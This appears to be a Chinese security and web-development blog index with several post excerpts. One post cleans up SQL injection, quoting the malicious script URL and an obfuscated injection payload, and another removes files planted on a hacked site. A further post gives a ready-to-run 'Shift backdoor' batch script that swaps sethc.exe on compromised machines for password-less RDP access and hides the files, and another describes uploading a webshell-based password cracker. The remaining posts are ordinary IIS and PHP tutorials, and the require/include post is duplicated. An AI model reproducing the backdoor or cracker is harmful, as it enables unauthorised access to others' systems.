ASP防注入新方式,希望对大家是有用的

最近我的网站经常把js脚本注入到数据,清除了又来。先后在网上找了很多的方法,还是没有用的,十分恼火。

首先先告诉大家一个批量清除代码的sql语句。

update 表名 set 字段=replace(字段,’script src=http://3b3.org/c.js>
1、分析那些无聊的人,或者有些病态的人究竟做了些什么 。

通过iis的日志或者microsoft urlscan 日志查看,在一些通过id查询数据库内容的时候后面被人加了一段很长的字符窜。

%%3B%%44%%65%%43%%4C%%61%%52%%45%%类似这样的字符窜,一定是其他的方式编码

首先我们先用工具分析下如此之长的字符窜究竟包含了些什么内容。

通过批量替换工具把%%全部替换成空,然后把得到的字符串通过其他的转码工具,转成字符窜。

;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0×45这里代码去掉了06F007200 aS NvArChAR(4000));ExEc(@S);–

就是一段与通过id查询数据库同时执行的sql,就给数据库某些表的字段加入了js病毒连接。

2、所以我们的原来的防sql注入的字符串就需要升级了。

如果过滤16进制

; 对应 3B

DeCLaRE 对应 4465434C615245

@ 对应 40

NvArCHaR 对应 4E76417243486152

set 对应 536554

CaSt 对应 43615374

as 对应 6153

exec 对应 45784563

- 对应 2D

把16进制的代码用|隔开放到injdata 里面

injdata = “3B|2D|’|;|and|exec|insert|select|delete%20from|update|count|”

然后自己测试下,程序是否拦击了这些16进制的代码,本人测试过是可以拦击的,如果不加入这些是不拦击的

照样可以注入到数据库。

标签Tags:, , , , , , , , , , , , , , , ,

相关日志

如何删除删不掉的”PRN.asp:.jpg”

一个用户的网站被挂马 很多以prn.开头的文件…这个文件其实是windows禁止建立的..但是可以在dos建立

所以在dos下用更改属性 结果不让改

然后想恢复权限 不让恢复 ,网站的跟目录被加了几个文件,怎么删也删不掉,

prn.gupiao.asp

prn.liuhe.asp

com1.shouji.asp

或是COM2,COM8等文件主,  

第一步:打开工具>文件夹选项>查看>有一项为”隐藏受保护的操作系统文件(推荐)”,去掉其前边的钩,选中”显示所有文件和文件夹”

第二步:建立一个del.bat的文件 把以下代码黏贴进去…

DEL /F /A /Q \\?\%1

RD /S /Q \\?\%1
然后要删那个文件就把那个文件拖进去即可….

但是又遇到问题了…有一个顽固的…PRN.asp;.jpg 拖进去也删不掉….

不过没问题 这个也可以删…先把这个文件的文件夹里的其他的文件备份…

然后把文件夹拖过去…^_^ 删了吧…

然后把备份的文件 拷回去 ok了

标签Tags:, , , , , , , ,

相关日志

无需输入密码登陆3389

来源:脚本安全小组

在肉鸡上执行命令

copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

以后再连接肉鸡3389,敲5下shift键就可以直接进入了,无需输入密码,只是登陆上去没有任务栏,一直会有密码登陆框,不过够我们做很多事情了,目前win2003测试通过。

似乎2000也可以,XP不行。这两个系统没测试。

不知道有牛人知道是什么道理不.

小道消息:连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ,你把explorer.exe换成sethc.exe 就是自动执行explorer.exe

Shift后门TT整理版
来源:TT’s Blog

将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~

然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe

或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~

哇哈哈哈哈~~~
TITLE Shift后门
@echo off
cls
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo.
echo.
echo 使用方法:本文件执行完毕后,
echo 在终端界面按Shift 5次即可登陆系统!
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo.
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
echo 完成百分之 50
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
echo 完成百分之 80
attrib c:\windows\system32\sethc.exe +h
echo 完成百分之 90
attrib c:\windows\system32\dllcache\sethc.exe +h
echo 完成百分之 100
cls
echo.
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo 后门安装完毕!
echo.
echo 感谢您使用Shift后门
echo.
echo.
echo.
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo.
echo. & pause
exit

标签Tags:, , , , , , , , ,

相关日志

Webshell下破解计算机管理员密码

软件作者:taiwansee
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

这个idea源自以前学runas命令时候的启发。

使用方法:
    1、把你的密码字典改名成psw.txt后,上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是:c:\windows\temp\
    2、把程序上传到c:\windows\temp\中,然后运行它。
    3、然后就是等待,过几分钟(具体时间看你的字典大小了)查阅c:\windows\temp\下的result_.txt中的结果,
       如果为空就说明还没破解完,另选时间再回来看。

特点:
    不需要抓hash,不需要管理员权限,ISUR_*用户就能用,速度慢(这个也是特点哦)在测试机中的表现是每秒尝试1800个密码左右。
    默认破解administrator用户的密码。要破其它,请自行修改代码。
(全文…)

标签Tags:, , , , , , , , , , , , , , , , , , , , ,

相关日志

让IIS只监听指定IP

放入Windows Server 2003安装光盘,在目录\Support\Tools\下面找到Support.msi文件,安装他。
  安装文件也可以在http://www.cdnunion.net/soft/support.rar下载。
b.用cmd进入C:\Program Files\Support Tools目录。
c.删除0.0.0.0
 httpcfg delete iplisten -i 0.0.0.0
d.设定HTTP.sys(iis)只是侦听192.168.0.2这个IP地址,运行如下命令:
httpcfg set iplisten -i 192.168.0.2
返回的错误代码0代表成功完成
e.重起http.sys,依次在dos模式执行如下命令。
net stop http /y
net start w3svc

f.查询现在http.sys侦听Web服务的端口。
在dos模式用如下命令:
netstat -an
看看 tcp 0.0.0.0:80 0.0.0.0 listening 是否存在,如果不存在,先恭喜一下。
看看 tcp 192.168.0.2:80 …………… 是否存在,如果是,那就真正恭喜你了。
##########################################################

httpcfg query iplisten 查询

标签Tags:, , , , , , , ,

相关日志

PHP和Socket简介

Sockets在PHP中是没有充分利用的功能。今天你将看到产生一个能使用客户端连接的服务器,并在客户端使用socket进行连接,服务器端将详细的处理信息发送给客户端。

当你看到完整的socket过程,那么你将会在以后的程序开发中使用它。这个服务器是一个能让你连接的HTTP服务器,客户端是一个Web浏览器,这是一个单一的 客户端/服务器 的关系。 (全文…)

标签Tags:, , , , , , , , , , , , , , , , , , , , , , , , ,

相关日志

php的文档句法(heredoc)<<<和PHP字符串操作

不多说了,看代码。自己体会

<?php
echo “濙水河边的PHP演示”;
echo “<br>”;
$db=mysql_connect(“localhost”,”root”,”123456″);
mysql_select_db(“jaycee”,$db);
$rs=mysql_query(“select * from gbook”,$db);
while($row=mysql_fetch_row($rs))
{
echo <<< eod
<table width=”99%” border=”1″ cellspacing=”0″ cellpadding=”0″>
<tr>
<td>$row[0]</td>
<td>$row[1]</td>
</tr>
<tr>
<td>$row[2]</td>
<td>$row[3]</td>
</tr>
</table>
eod;
}
?>

<<<也就是可以让我们在PHP代码内实现一大段的HTML代码,并且可以在其中,使用PHP变量。

淡水河边这厮,找到许多PHP入门呀,php起步呀==的书,从没提到用到这个。郁闷,用不到么?

居然不提。愤怒! (全文…)

标签Tags:, , , , , , , , , , , , , , , ,

相关日志

深入探讨PHP中的内存管理问题

一、 内存

  在PHP中,填充一个字符串变量相当简单,这只需要一个语句”"即可,并且该字符串能够被自由地修改、拷贝和移动。而在C语言中,尽管你能够编写例如”char *str = “hello world “;”这样的一个简单的静态字符串;但是,却不能修改该字符串,因为它生存于程序空间内。为了创建一个可操纵的字符串,你必须分配一个内存块,并且通过一个函数(例如strdup())来复制其内容。

以下为引用的内容:

  {

  char *str;

  str = strdup(“hello world”);

  if (!str) {

  fprintf(stderr, “Unable to allocate memory!”);

  }

  }

  由于后面我们将分析的各种原因,传统型内存管理函数(例如malloc(),free(),strdup(),realloc(),calloc(),等等)几乎都不能直接为PHP源代码所使用。 (全文…)

标签Tags:, , , , , , , , , , , , , , , , , , ,

相关日志

require和include的异同

第一点:require() 和 include() 除了怎样处理失败之外在各方面都完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说,如果你想在丢失文件时停止处理页面,那就用require() 吧,它直接会中止脚本。而include() 就不是这样,脚本会继续运行,但是会抛出一个Notice级别的错误。同时也要确认设置了合适的include_path。

就是说再解析程序时即读取require的文件,而不是解析后,如果不能读取到被require的文件,就不能进行下一步动作。所以,不被正确包含就会导致程序的文件,用require比较好。

第二点:require() 无论如何都会包含文件,而 include() 可以有选择地包含:
<!–p  if(FALSE){  require(‘a.php’);  }  if(FALSE){  include(‘b.php’);  } –>

比如上面这段代码,a.php一定会被包含,而b.php一定不会被包含。require类似于一次预扫描,在程序执行时,无论在函数里或是函数外,都将先把require的文件执行,且只执行一次。而include则是每执行一次就调用一次文件,即这次执行后,下次再执行执行到这里,仍将再执行一次。大家应该明白这个区别了吧:)

同时可以看下require_once和include_once的区别。
require_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似,唯一区别是如果该文件中的代码已经被包括了,则不会再次包括。
include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 include() 语句类似,唯一区别是如果该文件中的代码已经被包括了,则不会再次包括。如同此语句名字暗示的那样,只会包括一次。

第一点:require() 和 include() 除了怎样处理失败之外在各方面都完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说,如果你想在丢失文件时停止处理页面,那就用require() 吧,它直接会中止脚本。而include() 就不是这样,脚本会继续运行,但是会抛出一个Notice级别的错误。同时也要确认设置了合适的include_path。

就是说再解析程序时即读取require的文件,而不是解析后,如果不能读取到被require的文件,就不能进行下一步动作。所以,不被正确包含就会导致程序的文件,用require比较好。

第二点:require() 无论如何都会包含文件,而 include() 可以有选择地包含:
<!–p  if(FALSE){  require(‘a.php’);  }  if(FALSE){  include(‘b.php’);  } –>

比如上面这段代码,a.php一定会被包含,而b.php一定不会被包含。require类似于一次预扫描,在程序执行时,无论在函数里或是函数外,都将先把require的文件执行,且只执行一次。而include则是每执行一次就调用一次文件,即这次执行后,下次再执行执行到这里,仍将再执行一次。大家应该明白这个区别了吧:)

同时可以看下require_once和include_once的区别。
require_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似,唯一区别是如果该文件中的代码已经被包括了,则不会再次包括。
include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 include() 语句类似,唯一区别是如果该文件中的代码已经被包括了,则不会再次包括。如同此语句名字暗示的那样,只会包括一次。

标签Tags:, , , , , , , , , , , ,

相关日志

Ajax的工作原理

Ajax的核心是JavaScript对象 XmlHttpRequest。该对象在Internet Explorer 5中首次引入,它是一种支持异步请求的技术。简而言之,XmlHttpRequest使您可以使用JavaScript向服务器提出请求并处理响应,而不阻塞用户。

  在创建Web站点时,在客户端执行屏幕更新为用户提供了很大的灵活性。下面是使用Ajax可以完成的功能:

* 动态更新购物车的物品总数,无需用户单击Update并等待服务器重新发送整个页面。
* 提升站点的性能,这是通过减少从服务器下载的数据量而实现的。例如,在Amazon的购物车页面,当更新篮子中的一项物品的数量时,会重新载入整个页面,这必须下载32K的数据。如果使用Ajax计算新的总量,服务器只会返回新的总量值,因此所需的带宽仅为原来的百分之一。
* 消除了每次用户输入时的页面刷新。例如,在Ajax中,如果用户在分页列表上单击Next,则服务器数据只刷新列表而不是整个页面。
* 直接编辑表格数据,而不是要求用户导航到新的页面来编辑数据。对于Ajax,当用户单击Edit时,可以将静态表格刷新为内容可编辑的表格。用户单击Done之后,就可以发出一个Ajax请求来更新服务器,并刷新表格,使其包含静态、只读的数据。
  一切皆有可能!但愿它能够激发您开始开发自己的基于Ajax的站点。然而,在开始之前,让我们介绍一个现有的Web站点,它遵循传统的提交/等待/重新显示的范例,我们还将讨论Ajax如何提升用户体验。 (全文…)

标签Tags:, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

相关日志

当前 1 / 4 页1234